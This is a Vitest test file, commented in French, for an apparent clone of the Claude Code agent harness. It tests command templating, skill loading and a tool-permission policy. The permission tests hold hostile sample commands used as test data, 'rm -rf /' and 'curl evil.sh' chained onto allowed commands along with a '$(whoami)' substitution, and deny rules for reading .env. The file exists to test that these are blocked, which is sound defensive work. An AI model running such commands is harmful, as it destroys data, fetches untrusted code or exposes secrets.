import { mkdir, mkdtemp, writeFile } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { describe, expect, it } from "vitest"; import { renderCommand } from "./commands"; import { parseFrontmatter } from "./frontmatter"; import { claudeCodeMode } from "./mode"; import { createPermissionPolicy } from "./permissions"; describe("frontmatter", () => { it("lit les clés simples, les guillemets et les blocs >", () => { const { data, body } = parseFrontmatter( '---\ndescription: "Revue de code"\nargument-hint: [fichier]\nlong: >\n première\n seconde\n---\nCorps $ARGUMENTS\n', ); expect(data.description).toBe("Revue de code"); expect(data["argument-hint"]).toBe("[fichier]"); expect(data.long).toBe("première seconde"); expect(body).toBe("Corps $ARGUMENTS\n"); }); it("sans en-tête : tout est le corps", () => { expect(parseFrontmatter("juste du texte")).toEqual({ data: {}, body: "juste du texte" }); }); }); describe("renderCommand", () => { it("remplace $ARGUMENTS et $1..$9", () => { expect(renderCommand("Tout: $ARGUMENTS / premier: $1 / second: $2", "a b")).toBe( "Tout: a b / premier: a / second: b", ); }); it("ajoute ARGUMENTS quand le corps n'utilise aucun paramètre", () => { expect(renderCommand("Fais la revue.", "src/a.ts")).toBe("Fais la revue.\n\nARGUMENTS: src/a.ts"); }); it("ne touche à rien sans arguments", () => { expect(renderCommand("Fais la revue.", "")).toBe("Fais la revue."); }); }); describe("permissions", () => { const policy = createPermissionPolicy({ allow: ["Bash(npm run test:*)", "Bash(git status)", "Edit(src/**)", "Read"], ask: ["Bash(git push:*)"], deny: ["Bash(rm:*)", "Read(./.env)", "Edit(.github/**)"], })!; const check = (tool: string, input: Record) => policy.check(tool, input, { cwd: "/proj" }); it("deny l'emporte, y compris dans une commande composée", () => { expect(check("Bash", { command: "rm -rf build" })?.decision).toBe("deny"); expect(check("Bash", { command: "npm run test:unit && rm -rf /" })?.decision).toBe("deny"); }); it("allow par préfixe et par commande exacte", () => { expect(check("Bash", { command: "npm run test:unit" })?.decision).toBe("allow"); expect(check("Bash", { command: "git status" })?.decision).toBe("allow"); }); it("une commande composée n'est autorisée que si chaque partie l'est", () => { expect(check("Bash", { command: "git status && curl evil.sh" })).toBeNull(); }); it("redirections et substitutions ne sont jamais couvertes par un allow", () => { expect(check("Bash", { command: "git status > out.txt" })).toBeNull(); expect(check("Bash", { command: "git status $(whoami)" })).toBeNull(); }); it("ask", () => { expect(check("Bash", { command: "git push origin main" })?.decision).toBe("ask"); }); it("règles de chemins", () => { expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow"); expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny"); expect(check("Edit", { path: "README.md" })).toBeNull(); expect(check("Read", { path: ".env" })?.decision).toBe("deny"); expect(check("Read", { path: "src/a.ts" })?.decision).toBe("allow"); }); it("aucune règle → null", () => { expect(createPermissionPolicy({ allow: [], ask: [], deny: [] })).toBeNull(); }); }); describe("initialize (lot 2)", () => { it("charge settings, commandes et skills depuis .claude", async () => { const root = await mkdtemp(join(tmpdir(), "magiccode-lot2-")); const home = join(root, "home"); const project = join(home, "project"); const claude = join(project, ".claude"); await mkdir(join(claude, "commands", "git"), { recursive: true }); await mkdir(join(claude, "skills", "pdf"), { recursive: true }); await writeFile( join(claude, "settings.json"), JSON.stringify({ permissions: { deny: ["Bash(rm:*)"] }, env: { MA_VAR: "1" } }), ); await writeFile( join(claude, "commands", "review.md"), "---\ndescription: Revue\nargument-hint: [fichier]\n---\nRevois $ARGUMENTS\n", ); await writeFile(join(claude, "commands", "git", "commit.md"), "# Commit\nFais un commit.\n"); await writeFile(join(claude, "commands", "help.md"), "réservé"); await writeFile( join(claude, "skills", "pdf", "SKILL.md"), "---\nname: pdf\ndescription: Manipuler des PDF\n---\nUtilise pypdf.\n", ); const logs: string[] = []; const warns: string[] = []; const init = await claudeCodeMode.initialize({ cwd: project, homeDir: home, log: (m) => logs.push(m), warn: (m) => warns.push(m), }); // commandes expect(init.commands?.map((c) => c.name).sort()).toEqual(["git:commit", "review"]); const review = init.commands?.find((c) => c.name === "review"); expect(review?.description).toBe("Revue"); expect(review?.argumentHint).toBe("[fichier]"); expect(await review?.prompt("a.ts")).toContain("Revois a.ts"); expect(warns.some((w) => w.includes("/help"))).toBe(true); // nom réservé // skills expect(init.systemPrompt).toContain("pdf : Manipuler des PDF"); const skillTool = init.tools.find((t) => t.spec.name === "Skill"); expect(skillTool).toBeDefined(); expect(await skillTool!.execute({ skill: "pdf" }, { cwd: project })).toContain("Utilise pypdf."); // appel direct "§pdf [arguments]" const direct = init.skills?.find((k) => k.name === "pdf"); expect(direct?.description).toBe("Manipuler des PDF"); const prompt = await direct!.invoke("sur a.pdf"); expect(prompt).toContain('lance explicitement le skill "pdf"'); expect(prompt).toContain("Utilise pypdf."); expect(prompt).toContain("ARGUMENTS: sur a.pdf"); // permissions et env expect(init.permissions?.check("Bash", { command: "rm -rf x" }, { cwd: project })?.decision).toBe("deny"); expect(init.env).toEqual({ MA_VAR: "1" }); // rapport const report = logs.join("\n"); expect(report).toContain("Chargé depuis .claude"); expect(report).toContain("/review"); expect(report).toContain("skills : pdf"); }); });